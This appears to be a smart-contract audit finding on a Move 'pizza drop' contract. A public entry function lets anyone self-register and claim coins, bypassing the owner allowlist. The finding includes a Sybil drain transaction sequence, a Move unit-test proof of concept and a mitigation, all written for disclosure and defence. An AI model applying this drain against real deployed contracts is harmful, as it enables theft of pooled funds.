Root + Impact
Description
Normal behavior: The owner should be the only party who can register users (allowlist) before they can claim. This is reflected in register_pizza_lover which checks E_NOT_OWNER.
Issue: The actual state-mutating “registration” occurs inside a public entry function get_random_slice(user_addr) that writes the user → amount mapping. Anyone can call it directly to self-register (or register arbitrary addresses) and then call claim_pizza_slice to receive funds.
public entry fun register_pizza_lover(owner: &signer, user: address) acquires State {
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
get_random_slice(user);
event::emit(PizzaLoverRegistered { user });
}
#[randomness]
entry fun get_random_slice(user_addr: address) acquires State {
let time = timestamp::now_microseconds();
let random_amount = 100 + (time % 401);
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
public entry fun claim_pizza_slice(user: &signer) acquires State {
assert!(table::contains(&state.users_claimed_amount, user_addr), E_NOT_REGISTERED);
assert!(!table::contains(&state.claimed_users, user_addr), E_ALREADY_CLAIMED);
}
Risk
Likelihood:
-
Called by any user at any time because get_random_slice is a public entry that mutates registration state.
-
Follow-up claim succeeds because claim_pizza_slice only checks registration/claimed tables, not who registered the user.
Impact:
-
Financial loss: Sybil attacker registers many fresh addresses and drains the pool under the per-address random cap.
-
Policy violation/DoS: Intended owner-managed allowlist is bypassed; legitimate users may be crowded out.
Reference Files:
Proof of Concept
Tx sequence (non-privileged):
txn_1: Attacker calls get_random_slice(attacker_addr) → users_claimed_amount[attacker_addr] set.
txn_2: Attacker calls claim_pizza_slice(&signer) → passes checks and receives coins.
Repeat steps 1–2 across a batch of fresh addresses to drain the pool.
#[test(deployer = @pizza_drop, attacker = @0xa11ce, framework = @0x1)]
fun test_public_randomness_bypass_self_register_and_claim(
deployer: &signer,
attacker: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::{account, timestamp, aptos_coin};
use aptos_framework::coin;
timestamp::set_time_has_started_for_testing(framework);
let (_burn, mint) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
init_module(deployer);
let fund = 1_000_000;
let coins = coin::mint<AptosCoin>(fund, &mint);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, coins);
fund_pizza_drop(deployer, fund);
let a = signer::address_of(attacker);
get_random_slice(a);
assert!(is_registered(a), 100);
if (!coin::is_account_registered<AptosCoin>(a)) {
coin::register<AptosCoin>(attacker);
};
let before = coin::balance<AptosCoin>(a);
claim_pizza_slice(attacker);
let after = coin::balance<AptosCoin>(a);
let delta = after - before;
assert!(delta >= 100 && delta <= 500, 101);
}
Recommended Mitigation
Make the randomness/registration writer non-entry (internal) and only callable from the owner-gated path; or keep entry but enforce the owner gate inside it and ensure caller/address binding.
fun write_random_registration(state: &mut State, user: address) {
let time = timestamp::now_microseconds();
let random_amount = 100 + (time % 401);
table::add(&mut state.users_claimed_amount, user, random_amount);
}
public entry fun register_pizza_lover(owner:&signer, user:address) acquires State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
write_random_registration(&mut state, user);
event::emit(PizzaLoverRegistered { user });
}
public entry fun get_random_slice(owner:&signer, user:address) acquires State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
write_random_registration(&mut state, user);
}
